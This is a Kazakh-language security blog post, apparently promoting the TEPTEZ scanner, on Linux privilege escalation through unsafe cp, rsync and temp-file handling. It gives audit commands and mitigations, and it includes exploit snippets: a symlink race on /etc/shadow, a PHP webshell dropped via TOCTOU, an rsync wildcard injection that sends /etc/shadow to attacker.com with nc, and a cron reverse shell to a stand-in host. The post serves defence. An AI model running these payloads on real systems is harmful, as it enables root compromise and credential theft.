
Copy2Fail: Unsafe File Copy = Linux Privilege Escalation
cp командасындағы қауіпті осалдықтар. Symlink race, TOCTOU және rsync injection арқылы file copy root access-ке айналады.
Қысқаша
- Symlink жарысы: cp жазбас бұрын мақсатты /etc/shadow сілтемесімен ауыстыру
- TOCTOU: тексеру мен көшіру арасында файлды ауыстыру — webshell
- Rsync wildcard инъекциясы: файл аттары rsync жалаушаларына айналады
- Temp файл ұстау: болжамды /tmp аттары арқылы тұрақты жасырын ауысым
Copy2Fail дегеніміз не?
cp, rsync, install, mv жарыс жағдайлары, symlink шабуылдар және құқық қателері арқылы пайдаланылатын осалдықтар класы. Cron, сақтық көшірме, CI/CD-де кездеседі. Root cron-дағы бір қауіпті cp = жүйені толық бұзу.
Қалай жұмыс істейді
Linux файл операциялары атомарлы ЕМЕС. Файлды тексеру мен көшіру арасында басқа процесс оны ауыстыра алады. Файлды жасау мен жазу арасында қаскүнем оны symlink-пен ауыстыра алады. Осы шағын уақыт аралықтары — осалдық.
# Не БОЛУЫ керек:
cp source /tmp/destination
# Не ШЫНЫНДА болады (жарыс терезесі):
# 1. cp /tmp/destination файлын жазу үшін ашады
# 2. ҚАСКҮНЕМ: rm /tmp/destination && ln -s /etc/shadow /tmp/destination
# 3. cp /etc/shadow-ға жазады (symlink бойынша!)Осал екеніңізді тексеріңіз
Серверіңізде қауіпті үлгілерді іздеңіз:
# 1. /tmp-ке көшіретін root cron тапсырмалары
sudo crontab -l | grep -i "cp.*tmp\|rsync.*tmp"
# 2. Болжамды temp файлдары бар скрипттер (mktemp жоқ)
grep -r "TMPFILE=\|/tmp/" /usr/local/bin/ /opt/ --include="*.sh" | grep -v mktemp
# 3. Пайдаланушы каталогтарында wildcards бар rsync
grep -r "rsync.*\*" /etc/cron* /usr/local/bin/ --include="*.sh"
# 4. /tmp монтаждау параметрлері
mount | grep "/tmp"
# nosuid,nodev,noexec жоқ болса → /tmp шабуылға ашықmktemp-сіз /tmp-ке көшіретін кез келген root скрипт — пайдаланылатын осалдық.
Эксплойт 1 — Symlink жарысы
Root сценарий файлды болжамды жолға көшіреді. Қаскүнем мақсатты /etc/shadow symlink-пен ауыстырады.
while true; do
rm -f /tmp/config_restore
ln -s /etc/shadow /tmp/config_restore
done &
echo 'root:$6$salt$attackerhash:19000:0:99999:7:::' > /var/app/config.bakҚарапайым пайдаланушыдан жүйені толық бұзу.
Эксплойт 2 — TOCTOU жарыс жағдайы
Сценарий файлды тексереді, көшіреді. Арасында — ауыстыру. Webshell орнатылды.
UPLOAD="/tmp/uploads/payload"
while true; do
echo "Hello" > "$UPLOAD"
sleep 0.001
echo '<?php system($_GET["c"]); ?>' > "$UPLOAD"
done &Эксплойт 3 — Rsync wildcard инъекциясы
Rsync wildcards-пен — файл аттары жалаушаларға айналады. /etc/shadow деректерін ұрлау.
cd /home/user/uploads/
touch -- '-e sh exploit.sh'
echo 'cat /etc/shadow | nc attacker.com 4444' > exploit.shФайл аттары команда ретінде орындалады. Деректер ұрланды.
Эксплойт 4 — Temp файл ұстау
Болжамды /tmp аттары бар сценарийлер. Алдын ала symlink жасау — root қаскүнем айтқан жерге жазады.
ln -sf /etc/cron.d/backdoor /tmp/install_setup.log
echo '* * * * * root bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > binaryТұрақты root жасырын ауысым.
Қорғаныш шаралары
Файл жолдарына сенбеңіз. Атомарлық операциялар:
TMPFILE=$(mktemp /tmp/myapp.XXXXXX)
trap 'rm -f "$TMPFILE"' EXIT
cp --no-dereference source "$TMPFILE"
rsync -avz -- /uploads/ backup:/backups/
mv "$TMPFILE" /final/pathmktemp + --no-dereference + атомарлық mv = жарыс жағдайлары жойылды.
TEPTEZ-бен сканерлеңіз. Бұл қауіпті қаскүнемдерден бұрын табыңыз.
TEPTEZ қауіпті файл операцияларын, symlink жеңілдіктерін және жарыс жағдайларын автоматты анықтайды. Біздің DAST AI қызметін қараңыз — сканерлейді, табады және дайын түзетуді ұсынады.
TEPTEZ қолданып көру